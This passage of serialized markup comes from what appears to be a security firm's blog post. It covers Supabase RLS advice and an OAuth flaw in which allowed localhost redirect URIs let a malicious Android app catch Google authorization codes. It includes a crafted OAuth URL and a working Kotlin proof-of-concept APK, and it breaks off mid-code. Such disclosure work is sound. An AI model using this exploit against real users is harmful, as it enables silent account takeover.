token",{"type":25,"tag":271,"props":83150,"children":83151},{"style":13625},[83152],{"type":30,"value":1860},{"type":25,"tag":271,"props":83154,"children":83155},{"style":13620},[83156],{"type":30,"value":83157},"split",{"type":25,"tag":271,"props":83159,"children":83160},{"style":13625},[83161],{"type":30,"value":394},{"type":25,"tag":271,"props":83163,"children":83164},{"style":17388},[83165],{"type":30,"value":83166},"'.'",{"type":25,"tag":271,"props":83168,"children":83169},{"style":13625},[83170],{"type":30,"value":13665},{"type":25,"tag":271,"props":83172,"children":83173},{"class":13593,"line":14391},[83174,83178,83183,83187,83191,83195,83199,83203,83208,83212,83216],{"type":25,"tag":271,"props":83175,"children":83176},{"style":14289},[83177],{"type":30,"value":46014},{"type":25,"tag":271,"props":83179,"children":83180},{"style":13598},[83181],{"type":30,"value":83182}," decodedHeader",{"type":25,"tag":271,"props":83184,"children":83185},{"style":13603},[83186],{"type":30,"value":16155},{"type":25,"tag":271,"props":83188,"children":83189},{"style":13598},[83190],{"type":30,"value":50639},{"type":25,"tag":271,"props":83192,"children":83193},{"style":13625},[83194],{"type":30,"value":1860},{"type":25,"tag":271,"props":83196,"children":83197},{"style":13620},[83198],{"type":30,"value":52322},{"type":25,"tag":271,"props":83200,"children":83201},{"style":13625},[83202],{"type":30,"value":394},{"type":25,"tag":271,"props":83204,"children":83205},{"style":13620},[83206],{"type":30,"value":83207},"atob",{"type":25,"tag":271,"props":83209,"children":83210},{"style":13625},[83211],{"type":30,"value":394},{"type":25,"tag":271,"props":83213,"children":83214},{"style":13598},[83215],{"type":30,"value":83117},{"type":25,"tag":271,"props":83217,"children":83218},{"style":13625},[83219],{"type":30,"value":20346},{"type":25,"tag":271,"props":83221,"children":83222},{"class":13593,"line":14400},[83223,83227,83232,83236,83240,83244,83248,83252,83256,83260,83264],{"type":25,"tag":271,"props":83224,"children":83225},{"style":14289},[83226],{"type":30,"value":46014},{"type":25,"tag":271,"props":83228,"children":83229},{"style":13598},[83230],{"type":30,"value":83231}," decodedPayload",{"type":25,"tag":271,"props":83233,"children":83234},{"style":13603},[83235],{"type":30,"value":16155},{"type":25,"tag":271,"props":83237,"children":83238},{"style":13598},[83239],{"type":30,"value":50639},{"type":25,"tag":271,"props":83241,"children":83242},{"style":13625},[83243],{"type":30,"value":1860},{"type":25,"tag":271,"props":83245,"children":83246},{"style":13620},[83247],{"type":30,"value":52322},{"type":25,"tag":271,"props":83249,"children":83250},{"style":13625},[83251],{"type":30,"value":394},{"type":25,"tag":271,"props":83253,"children":83254},{"style":13620},[83255],{"type":30,"value":83207},{"type":25,"tag":271,"props":83257,"children":83258},{"style":13625},[83259],{"type":30,"value":394},{"type":25,"tag":271,"props":83261,"children":83262},{"style":13598},[83263],{"type":30,"value":83126},{"type":25,"tag":271,"props":83265,"children":83266},{"style":13625},[83267],{"type":30,"value":20346},{"type":25,"tag":271,"props":83269,"children":83270},{"class":13593,"line":16406},[83271,83275,83279,83284,83288,83292,83297,83301,83305,83309],{"type":25,"tag":271,"props":83272,"children":83273},{"style":16171},[83274],{"type":30,"value":28866},{"type":25,"tag":271,"props":83276,"children":83277},{"style":13625},[83278],{"type":30,"value":22709},{"type":25,"tag":271,"props":83280,"children":83281},{"style":13598},[83282],{"type":30,"value":83283},"header:",{"type":25,"tag":271,"props":83285,"children":83286},{"style":13598},[83287],{"type":30,"value":83182},{"type":25,"tag":271,"props":83289,"children":83290},{"style":13625},[83291],{"type":30,"value":44},{"type":25,"tag":271,"props":83293,"children":83294},{"style":13598},[83295],{"type":30,"value":83296},"payload:",{"type":25,"tag":271,"props":83298,"children":83299},{"style":13598},[83300],{"type":30,"value":83231},{"type":25,"tag":271,"props":83302,"children":83303},{"style":13625},[83304],{"type":30,"value":44},{"type":25,"tag":271,"props":83306,"children":83307},{"style":13598},[83308],{"type":30,"value":83135},{"type":25,"tag":271,"props":83310,"children":83311},{"style":13625},[83312],{"type":30,"value":31421},{"type":25,"tag":271,"props":83314,"children":83315},{"class":13593,"line":16434},[83316,83320,83324,83328,83332],{"type":25,"tag":271,"props":83317,"children":83318},{"style":13625},[83319],{"type":30,"value":28901},{"type":25,"tag":271,"props":83321,"children":83322},{"style":16171},[83323],{"type":30,"value":61527},{"type":25,"tag":271,"props":83325,"children":83326},{"style":13625},[83327],{"type":30,"value":16213},{"type":25,"tag":271,"props":83329,"children":83330},{"style":13598},[83331],{"type":30,"value":27985},{"type":25,"tag":271,"props":83333,"children":83334},{"style":13625},[83335],{"type":30,"value":27925},{"type":25,"tag":271,"props":83337,"children":83338},{"class":13593,"line":16447},[83339,83344,83348,83352,83356,83361,83365,83369],{"type":25,"tag":271,"props":83340,"children":83341},{"style":13598},[83342],{"type":30,"value":83343},"        console",{"type":25,"tag":271,"props":83345,"children":83346},{"style":13625},[83347],{"type":30,"value":1860},{"type":25,"tag":271,"props":83349,"children":83350},{"style":13620},[83351],{"type":30,"value":27985},{"type":25,"tag":271,"props":83353,"children":83354},{"style":13625},[83355],{"type":30,"value":394},{"type":25,"tag":271,"props":83357,"children":83358},{"style":17388},[83359],{"type":30,"value":83360},"'Error parsing token:'",{"type":25,"tag":271,"props":83362,"children":83363},{"style":13625},[83364],{"type":30,"value":44},{"type":25,"tag":271,"props":83366,"children":83367},{"style":13598},[83368],{"type":30,"value":27985},{"type":25,"tag":271,"props":83370,"children":83371},{"style":13625},[83372],{"type":30,"value":13665},{"type":25,"tag":271,"props":83374,"children":83375},{"class":13593,"line":16465},[83376,83380,83385],{"type":25,"tag":271,"props":83377,"children":83378},{"style":16171},[83379],{"type":30,"value":28866},{"type":25,"tag":271,"props":83381,"children":83382},{"style":14289},[83383],{"type":30,"value":83384}," null",{"type":25,"tag":271,"props":83386,"children":83387},{"style":13625},[83388],{"type":30,"value":16165},{"type":25,"tag":271,"props":83390,"children":83391},{"class":13593,"line":16486},[83392],{"type":25,"tag":271,"props":83393,"children":83394},{"style":13625},[83395],{"type":30,"value":16501},{"type":25,"tag":271,"props":83397,"children":83398},{"class":13593,"line":16495},[83399],{"type":25,"tag":271,"props":83400,"children":83401},{"style":13625},[83402],{"type":30,"value":17058},{"type":25,"tag":247,"props":83404,"children":83405},{"id":53444},[83406],{"type":30,"value":53447},{"type":25,"tag":26,"props":83408,"children":83409},{},[83410,83412,83419,83421,83427],{"type":30,"value":83411},"Developers should avoid trusting input from their Supabase custom domain. ",{"type":25,"tag":83,"props":83413,"children":83416},{"href":83414,"rel":83415},"https://supabase.com/docs/guides/database/postgres/row-level-security",[9066],[83417],{"type":30,"value":83418},"Row-Level Security",{"type":30,"value":83420}," (RLS) on Supabase should be enforced, plus important and private fields should be defined in ",{"type":25,"tag":264,"props":83422,"children":83424},{"className":83423},[],[83425],{"type":30,"value":83426},"app_metadata",{"type":30,"value":83428},". These fields must be strictly validated at every step of their creation and update processes.",{"type":25,"tag":96,"props":83430,"children":83432},{"id":83431},"oauth-in-development-environments",[83433],{"type":30,"value":83434},"OAuth in development environments",{"type":25,"tag":26,"props":83436,"children":83437},{},[83438,83440,83447,83449,83454],{"type":30,"value":83439},"After watching a ",{"type":25,"tag":83,"props":83441,"children":83444},{"href":83442,"rel":83443},"https://docs.google.com/presentation/d/1571_ZSOtfVat9u63zfn1ugTPZRN7pQsFIblcxci3czM/edit",[9066],[83445],{"type":30,"value":83446},"talk",{"type":30,"value":83448}," by Luan Herrera on exploiting the logic of desktop apps that use OAuth for authentication (specifically using a localhost server), we noticed that many of our customers also permitted localhost within the ",{"type":25,"tag":264,"props":83450,"children":83452},{"className":83451},[],[83453],{"type":30,"value":82880},{"type":30,"value":83455}," parameter during the OAuth flow.",{"type":25,"tag":26,"props":83457,"children":83458},{},[83459,83461,83468],{"type":30,"value":83460},"Herrera's research highlights that if localhost is allowed as a redirect URI, it is generally not exploitable in a desktop environment because impersonating localhost without ",{"type":25,"tag":83,"props":83462,"children":83465},{"href":83463,"rel":83464},"https://www.cloudflare.com/learning/security/what-is-remote-code-execution/",[9066],[83466],{"type":30,"value":83467},"Remote Code Execution",{"type":30,"value":83469}," (RCE) is impossible. However, the scenario changes in a mobile environment, where it is feasible to open a localhost web server using a malicious app, making exploitation possible.",{"type":25,"tag":26,"props":83471,"children":83472},{},[83473,83475,83481],{"type":30,"value":83474},"In one of our client's implementations, we identified that ",{"type":25,"tag":264,"props":83476,"children":83478},{"className":83477},[],[83479],{"type":30,"value":83480},"localhost:3000",{"type":30,"value":83482}," was permitted. The exploitation method is the same as demonstrated in Herrera's talk. However, we observed that localhost servers are frequently used and whitelisted by developers, not only for desktop applications but also for testing and development environments.",{"type":25,"tag":26,"props":83484,"children":83485},{},[83486],{"type":30,"value":83487},"For the exploitation, the final Google OAuth URL was constructed as follows:",{"type":25,"tag":7764,"props":83489,"children":83493},{"className":83490,"code":83491,"language":83492,"meta":7,"style":7},"language-url shiki shiki-themes slack-dark","https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\n","url",[83494],{"type":25,"tag":264,"props":83495,"children":83496},{"__ignoreMap":7},[83497],{"type":25,"tag":271,"props":83498,"children":83499},{"class":13593,"line":13594},[83500],{"type":25,"tag":271,"props":83501,"children":83502},{},[83503],{"type":30,"value":83491},{"type":25,"tag":26,"props":83505,"children":83506},{},[83507],{"type":30,"value":83508},"Since there was no public exploit, we also created a proof of concept demonstrating how a malicious APK can be created to steal the OAuth token simply by opening the malicious app. This occurs without any user interaction and results in account takeover.",{"type":25,"tag":7764,"props":83510,"children":83514},{"className":83511,"code":83512,"language":83513,"meta":7,"style":7},"language-kotlin shiki shiki-themes slack-dark","class MainActivity : AppCompatActivity() {\n\n    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.search;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n}\n","kotlin",[83515],{"type":25,"tag":264,"props":83516,"children":83517},{"__ignoreMap":7},[83518,83545,83552,83584,83606,83613,83621,83643,83655,83667,83701,83727,83777,83784,83791,83798,83806,83828,83863,83876,83883,83890,83911,83937,83949,83970,83987,83999,84025,84064,84085,84093,84105,84130,84142,84155,84163,84170,84178,84186,84193,84223,84230],{"type":25,"tag":271,"props":83519,"children":83520},{"class":13593,"line":13594},[83521,83526,83531,83536,83541],{"type":25,"tag":271,"props":83522,"children":83523},{"style":14289},[83524],{"type":30,"value":83525},"class",{"type":25,"tag":271,"props":83527,"children":83528},{"style":13609},[83529],{"type":30,"value":83530}," MainActivity",{"type":25,"tag":271,"props":83532,"children":83533},{"style":13625},[83534],{"type":30,"value":83535}," : ",{"type":25,"tag":271,"props":83537,"children":83538},{"style":13609},[83539],{"type":30,"value":83540},"AppCompatActivity",{"type":25,"tag":271,"props":83542,"children":83543},{"style":13625},[83544],{"type":30,"value":28858},{"type":25,"tag":271,"props":83546,"children":83547},{"class":13593,"line":11641},[83548],{"type":25,"tag":271,"props":83549,"children":83550},{"emptyLinePlaceholder":18},[83551],{"type":30,"value":16829},{"type":25,"tag":271,"props":83553,"children":83554},{"class":13593,"line":14354},[83555,83560,83564,83569,83574,83579],{"type":25,"tag":271,"props":83556,"children":83557},{"style":14289},[83558],{"type":30,"value":83559},"    override",{"type":25,"tag":271,"props":83561,"children":83562},{"style":14289},[83563],{"type":30,"value":19335},{"type":25,"tag":271,"props":83565,"children":83566},{"style":13620},[83567],{"type":30,"value":83568}," onCreate",{"type":25,"tag":271,"props":83570,"children":83571},{"style":13625},[83572],{"type":30,"value":83573},"(savedInstanceState: ",{"type":25,"tag":271,"props":83575,"children":83576},{"style":13609},[83577],{"type":30,"value":83578},"Bundle",{"type":25,"tag":271,"props":83580,"children":83581},{"style":13625},[83582],{"type":30,"value":83583},"?) {\n",{"type":25,"tag":271,"props":83585,"children":83586},{"class":13593,"line":14391},[83587,83592,83596,83601],{"type":25,"tag":271,"props":83588,"children":83589},{"style":14289},[83590],{"type":30,"value":83591},"        super",{"type":25,"tag":271,"props":83593,"children":83594},{"style":13625},[83595],{"type":30,"value":1860},{"type":25,"tag":271,"props":83597,"children":83598},{"style":13620},[83599],{"type":30,"value":83600},"onCreate",{"type":25,"tag":271,"props":83602,"children":83603},{"style":13625},[83604],{"type":30,"value":83605},"(savedInstanceState)\n",{"type":25,"tag":271,"props":83607,"children":83608},{"class":13593,"line":14400},[83609],{"type":25,"tag":271,"props":83610,"children":83611},{"emptyLinePlaceholder":18},[83612],{"type":30,"value":16829},{"type":25,"tag":271,"props":83614,"children":83615},{"class":13593,"line":16406},[83616],{"type":25,"tag":271,"props":83617,"children":83618},{"style":14385},[83619],{"type":30,"value":83620},"        // Start the Ktor web server\n",{"type":25,"tag":271,"props":83622,"children":83623},{"class":13593,"line":16434},[83624,83629,83634,83639],{"type":25,"tag":271,"props":83625,"children":83626},{"style":13620},[83627],{"type":30,"value":83628},"        CoroutineScope",{"type":25,"tag":271,"props":83630,"children":83631},{"style":13625},[83632],{"type":30,"value":83633},"(Dispatchers.IO).",{"type":25,"tag":271,"props":83635,"children":83636},{"style":13620},[83637],{"type":30,"value":83638},"launch",{"type":25,"tag":271,"props":83640,"children":83641},{"style":13625},[83642],{"type":30,"value":16431},{"type":25,"tag":271,"props":83644,"children":83645},{"class":13593,"line":16447},[83646,83651],{"type":25,"tag":271,"props":83647,"children":83648},{"style":16171},[83649],{"type":30,"value":83650},"            try",{"type":25,"tag":271,"props":83652,"children":83653},{"style":13625},[83654],{"type":30,"value":16431},{"type":25,"tag":271,"props":83656,"children":83657},{"class":13593,"line":16465},[83658,83663],{"type":25,"tag":271,"props":83659,"children":83660},{"style":13620},[83661],{"type":30,"value":83662},"                startWebServer",{"type":25,"tag":271,"props":83664,"children":83665},{"style":13625},[83666],{"type":30,"value":20857},{"type":25,"tag":271,"props":83668,"children":83669},{"class":13593,"line":16486},[83670,83675,83679,83683,83688,83692,83697],{"type":25,"tag":271,"props":83671,"children":83672},{"style":13625},[83673],{"type":30,"value":83674},"                Log.",{"type":25,"tag":271,"props":83676,"children":83677},{"style":13620},[83678],{"type":30,"value":13482},{"type":25,"tag":271,"props":83680,"children":83681},{"style":13625},[83682],{"type":30,"value":394},{"type":25,"tag":271,"props":83684,"children":83685},{"style":17388},[83686],{"type":30,"value":83687},"\"WebServer\"",{"type":25,"tag":271,"props":83689,"children":83690},{"style":13625},[83691],{"type":30,"value":44},{"type":25,"tag":271,"props":83693,"children":83694},{"style":17388},[83695],{"type":30,"value":83696},"\"Server started on http://localhost:3000\"",{"type":25,"tag":271,"props":83698,"children":83699},{"style":13625},[83700],{"type":30,"value":16299},{"type":25,"tag":271,"props":83702,"children":83703},{"class":13593,"line":16495},[83704,83709,83713,83718,83723],{"type":25,"tag":271,"props":83705,"children":83706},{"style":13625},[83707],{"type":30,"value":83708},"            } ",{"type":25,"tag":271,"props":83710,"children":83711},{"style":14289},[83712],{"type":30,"value":61527},{"type":25,"tag":271,"props":83714,"children":83715},{"style":13625},[83716],{"type":30,"value":83717}," (e: ",{"type":25,"tag":271,"props":83719,"children":83720},{"style":13609},[83721],{"type":30,"value":83722},"Exception",{"type":25,"tag":271,"props":83724,"children":83725},{"style":13625},[83726],{"type":30,"value":27925},{"type":25,"tag":271,"props":83728,"children":83729},{"class":13593,"line":16744},[83730,83734,83738,83742,83746,83750,83755,83759,83764,83768,83772],{"type":25,"tag":271,"props":83731,"children":83732},{"style":13625},[83733],{"type":30,"value":83674},{"type":25,"tag":271,"props":83735,"children":83736},{"style":13620},[83737],{"type":30,"value":64570},{"type":25,"tag":271,"props":83739,"children":83740},{"style":13625},[83741],{"type":30,"value":394},{"type":25,"tag":271,"props":83743,"children":83744},{"style":17388},[83745],{"type":30,"value":83687},{"type":25,"tag":271,"props":83747,"children":83748},{"style":13625},[83749],{"type":30,"value":44},{"type":25,"tag":271,"props":83751,"children":83752},{"style":17388},[83753],{"type":30,"value":83754},"\"Error starting server: ",{"type":25,"tag":271,"props":83756,"children":83757},{"style":14289},[83758],{"type":30,"value":47221},{"type":25,"tag":271,"props":83760,"children":83761},{"style":13603},[83762],{"type":30,"value":83763},"e.message",{"type":25,"tag":271,"props":83765,"children":83766},{"style":14289},[83767],{"type":30,"value":978},{"type":25,"tag":271,"props":83769,"children":83770},{"style":17388},[83771],{"type":30,"value":6294},{"type":25,"tag":271,"props":83773,"children":83774},{"style":13625},[83775],{"type":30,"value":83776},", e)\n",{"type":25,"tag":271,"props":83778,"children":83779},{"class":13593,"line":16761},[83780],{"type":25,"tag":271,"props":83781,"children":83782},{"style":13625},[83783],{"type":30,"value":72000},{"type":25,"tag":271,"props":83785,"children":83786},{"class":13593,"line":16778},[83787],{"type":25,"tag":271,"props":83788,"children":83789},{"style":13625},[83790],{"type":30,"value":16492},{"type":25,"tag":271,"props":83792,"children":83793},{"class":13593,"line":16791},[83794],{"type":25,"tag":271,"props":83795,"children":83796},{"emptyLinePlaceholder":18},[83797],{"type":30,"value":16829},{"type":25,"tag":271,"props":83799,"children":83800},{"class":13593,"line":16800},[83801],{"type":25,"tag":271,"props":83802,"children":83803},{"style":14385},[83804],{"type":30,"value":83805},"        // Open the Google OAuth page\n",{"type":25,"tag":271,"props":83807,"children":83808},{"class":13593,"line":16823},[83809,83814,83819,83823],{"type":25,"tag":271,"props":83810,"children":83811},{"style":14289},[83812],{"type":30,"value":83813},"        val",{"type":25,"tag":271,"props":83815,"children":83816},{"style":13625},[83817],{"type":30,"value":83818}," googleOAuthUrl ",{"type":25,"tag":271,"props":83820,"children":83821},{"style":13603},[83822],{"type":30,"value":1065},{"type":25,"tag":271,"props":83824,"children":83825},{"style":17388},[83826],{"type":30,"value":83827}," \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n",{"type":25,"tag":271,"props":83829,"children":83830},{"class":13593,"line":16832},[83831,83835,83840,83844,83849,83854,83858],{"type":25,"tag":271,"props":83832,"children":83833},{"style":14289},[83834],{"type":30,"value":83813},{"type":25,"tag":271,"props":83836,"children":83837},{"style":13625},[83838],{"type":30,"value":83839}," browserIntent ",{"type":25,"tag":271,"props":83841,"children":83842},{"style":13603},[83843],{"type":30,"value":1065},{"type":25,"tag":271,"props":83845,"children":83846},{"style":13620},[83847],{"type":30,"value":83848}," Intent",{"type":25,"tag":271,"props":83850,"children":83851},{"style":13625},[83852],{"type":30,"value":83853},"(Intent.ACTION_VIEW, Uri.",{"type":25,"tag":271,"props":83855,"children":83856},{"style":13620},[83857],{"type":30,"value":52322},{"type":25,"tag":271,"props":83859,"children":83860},{"style":13625},[83861],{"type":30,"value":83862},"(googleOAuthUrl))\n",{"type":25,"tag":271,"props":83864,"children":83865},{"class":13593,"line":16841},[83866,83871],{"type":25,"tag":271,"props":83867,"children":83868},{"style":13620},[83869],{"type":30,"value":83870},"        startActivity",{"type":25,"tag":271,"props":83872,"children":83873},{"style":13625},[83874],{"type":30,"value":83875},"(browserIntent)\n",{"type":25,"tag":271,"props":83877,"children":83878},{"class":13593,"line":16907},[83879],{"type":25,"tag":271,"props":83880,"children":83881},{"style":13625},[83882],{"type":30,"value":16501},{"type":25,"tag":271,"props":83884,"children":83885},{"class":13593,"line":16915},[83886],{"type":25,"tag":271,"props":83887,"children":83888},{"emptyLinePlaceholder":18},[83889],{"type":30,"value":16829},{"type":25,"tag":271,"props":83891,"children":83892},{"class":13593,"line":16945},[83893,83898,83902,83907],{"type":25,"tag":271,"props":83894,"children":83895},{"style":14289},[83896],{"type":30,"value":83897},"    private",{"type":25,"tag":271,"props":83899,"children":83900},{"style":14289},[83901],{"type":30,"value":19335},{"type":25,"tag":271,"props":83903,"children":83904},{"style":13620},[83905],{"type":30,"value":83906}," startWebServer",{"type":25,"tag":271,"props":83908,"children":83909},{"style":13625},[83910],{"type":30,"value":28858},{"type":25,"tag":271,"props":83912,"children":83913},{"class":13593,"line":16953},[83914,83919,83924,83928,83933],{"type":25,"tag":271,"props":83915,"children":83916},{"style":13620},[83917],{"type":30,"value":83918},"        embeddedServer",{"type":25,"tag":271,"props":83920,"children":83921},{"style":13625},[83922],{"type":30,"value":83923},"(CIO, port ",{"type":25,"tag":271,"props":83925,"children":83926},{"style":13603},[83927],{"type":30,"value":1065},{"type":25,"tag":271,"props":83929,"children":83930},{"style":16187},[83931],{"type":30,"value":83932}," 3000",{"type":25,"tag":271,"props":83934,"children":83935},{"style":13625},[83936],{"type":30,"value":27925},{"type":25,"tag":271,"props":83938,"children":83939},{"class":13593,"line":16984},[83940,83945],{"type":25,"tag":271,"props":83941,"children":83942},{"style":13620},[83943],{"type":30,"value":83944},"            routing",{"type":25,"tag":271,"props":83946,"children":83947},{"style":13625},[83948],{"type":30,"value":16431},{"type":25,"tag":271,"props":83950,"children":83951},{"class":13593,"line":16992},[83952,83957,83961,83966],{"type":25,"tag":271,"props":83953,"children":83954},{"style":14289},[83955],{"type":30,"value":83956},"                get",{"type":25,"tag":271,"props":83958,"children":83959},{"style":13625},[83960],{"type":30,"value":394},{"type":25,"tag":271,"props":83962,"children":83963},{"style":17388},[83964],{"type":30,"value":83965},"\"{...}\"",{"type":25,"tag":271,"props":83967,"children":83968},{"style":13625},[83969],{"type":30,"value":27925},{"type":25,"tag":271,"props":83971,"children":83972},{"class":13593,"line":17052},[83973,83978,83983],{"type":25,"tag":271,"props":83974,"children":83975},{"style":13625},[83976],{"type":30,"value":83977},"                    call.",{"type":25,"tag":271,"props":83979,"children":83980},{"style":13620},[83981],{"type":30,"value":83982},"respondHtml",{"type":25,"tag":271,"props":83984,"children":83985},{"style":13625},[83986],{"type":30,"value":16431},{"type":25,"tag":271,"props":83988,"children":83989},{"class":13593,"line":22168},[83990,83995],{"type":25,"tag":271,"props":83991,"children":83992},{"style":13620},[83993],{"type":30,"value":83994},"                        head",{"type":25,"tag":271,"props":83996,"children":83997},{"style":13625},[83998],{"type":30,"value":16431},{"type":25,"tag":271,"props":84000,"children":84001},{"class":13593,"line":22186},[84002,84007,84012,84016,84021],{"type":25,"tag":271,"props":84003,"children":84004},{"style":13620},[84005],{"type":30,"value":84006},"                            meta",{"type":25,"tag":271,"props":84008,"children":84009},{"style":13625},[84010],{"type":30,"value":84011},"(charset ",{"type":25,"tag":271,"props":84013,"children":84014},{"style":13603},[84015],{"type":30,"value":1065},{"type":25,"tag":271,"props":84017,"children":84018},{"style":17388},[84019],{"type":30,"value":84020}," \"UTF-8\"",{"type":25,"tag":271,"props":84022,"children":84023},{"style":13625},[84024],{"type":30,"value":16299},{"type":25,"tag":271,"props":84026,"children":84027},{"class":13593,"line":22231},[84028,84032,84037,84041,84046,84051,84055,84060],{"type":25,"tag":271,"props":84029,"children":84030},{"style":13620},[84031],{"type":30,"value":84006},{"type":25,"tag":271,"props":84033,"children":84034},{"style":13625},[84035],{"type":30,"value":84036},"(name ",{"type":25,"tag":271,"props":84038,"children":84039},{"style":13603},[84040],{"type":30,"value":1065},{"type":25,"tag":271,"props":84042,"children":84043},{"style":17388},[84044],{"type":30,"value":84045}," \"viewport\"",{"type":25,"tag":271,"props":84047,"children":84048},{"style":13625},[84049],{"type":30,"value":84050},", content ",{"type":25,"tag":271,"props":84052,"children":84053},{"style":13603},[84054],{"type":30,"value":1065},{"type":25,"tag":271,"props":84056,"children":84057},{"style":17388},[84058],{"type":30,"value":84059}," \"width=device-width, initial-scale=1.0\"",{"type":25,"tag":271,"props":84061,"children":84062},{"style":13625},[84063],{"type":30,"value":16299},{"type":25,"tag":271,"props":84065,"children":84066},{"class":13593,"line":22337},[84067,84072,84076,84081],{"type":25,"tag":271,"props":84068,"children":84069},{"style":13620},[84070],{"type":30,"value":84071},"                            title",{"type":25,"tag":271,"props":84073,"children":84074},{"style":13625},[84075],{"type":30,"value":394},{"type":25,"tag":271,"props":84077,"children":84078},{"style":17388},[84079],{"type":30,"value":84080},"\"OAuth Redirect\"",{"type":25,"tag":271,"props":84082,"children":84083},{"style":13625},[84084],{"type":30,"value":16299},{"type":25,"tag":271,"props":84086,"children":84087},{"class":13593,"line":36608},[84088],{"type":25,"tag":271,"props":84089,"children":84090},{"style":13625},[84091],{"type":30,"value":84092},"                        }\n",{"type":25,"tag":271,"props":84094,"children":84095},{"class":13593,"line":36643},[84096,84101],{"type":25,"tag":271,"props":84097,"children":84098},{"style":13620},[84099],{"type":30,"value":84100},"                        body",{"type":25,"tag":271,"props":84102,"children":84103},{"style":13625},[84104],{"type":30,"value":16431},{"type":25,"tag":271,"props":84106,"children":84107},{"class":13593,"line":36651},[84108,84113,84117,84121,84126],{"type":25,"tag":271,"props":84109,"children":84110},{"style":13620},[84111],{"type":30,"value":84112},"                            h1",{"type":25,"tag":271,"props":84114,"children":84115},{"style":13625},[84116],{"type":30,"value":22709},{"type":25,"tag":271,"props":84118,"children":84119},{"style":13603},[84120],{"type":30,"value":2074},{"type":25,"tag":271,"props":84122,"children":84123},{"style":17388},[84124],{"type":30,"value":84125},"\"Google OAuth Redirect\"",{"type":25,"tag":271,"props":84127,"children":84128},{"style":13625},[84129],{"type":30,"value":22719},{"type":25,"tag":271,"props":84131,"children":84132},{"class":13593,"line":36659},[84133,84138],{"type":25,"tag":271,"props":84134,"children":84135},{"style":13620},[84136],{"type":30,"value":84137},"                            script",{"type":25,"tag":271,"props":84139,"children":84140},{"style":13625},[84141],{"type":30,"value":16431},{"type":25,"tag":271,"props":84143,"children":84144},{"class":13593,"line":36668},[84145,84150],{"type":25,"tag":271,"props":84146,"children":84147},{"style":13603},[84148],{"type":30,"value":84149},"                                +",{"type":25,"tag":271,"props":84151,"children":84152},{"style":17388},[84153],{"type":30,"value":84154},"\"document.body.innerText = location.search;\"\n",{"type":25,"tag":271,"props":84156,"children":84157},{"class":13593,"line":36710},[84158],{"type":25,"tag":271,"props":84159,"children":84160},{"style":13625},[84161],{"type":30,"value":84162},"                            }\n",{"type":25,"tag":271,"props":84164,"children":84165},{"class":13593,"line":36743},[84166],{"type":25,"tag":271,"props":84167,"children":84168},{"style":13625},[84169],{"type":30,"value":84092},{"type":25,"tag":271,"props":84171,"children":84172},{"class":13593,"line":36751},[84173],{"type":25,"tag":271,"props":84174,"children":84175},{"style":13625},[84176],{"type":30,"value":84177},"                    }\n",{"type":25,"tag":271,"props":84179,"children":84180},{"class":13593,"line":36759},[84181],{"type":25,"tag":271,"props":84182,"children":84183},{"style":13625},[84184],{"type":30,"value":84185},"                }\n",{"type":25,"tag":271,"props":84187,"children":84188},{"class":13593,"line":36768},[84189],{"type":25,"tag":271,"props":84190,"children":84191},{"style":13625},[84192],{"type":30,"value":72000},{"type":25,"tag":271,"props":84194,"children":84195},{"class":13593,"line":36844},[84196,84201,84206,84211,84215,84219],{"type":25,"tag":271,"props":84197,"children":84198},{"style":13625},[84199],{"type":30,"value":84200},"        }.",{"type":25,"tag":271,"props":84202,"children":84203},{"style":13620},[84204],{"type":30,"value":84205},"start",{"type":25,"tag":271,"props":84207,"children":84208},{"style":13625},[84209],{"type":30,"value":84210},"(wait 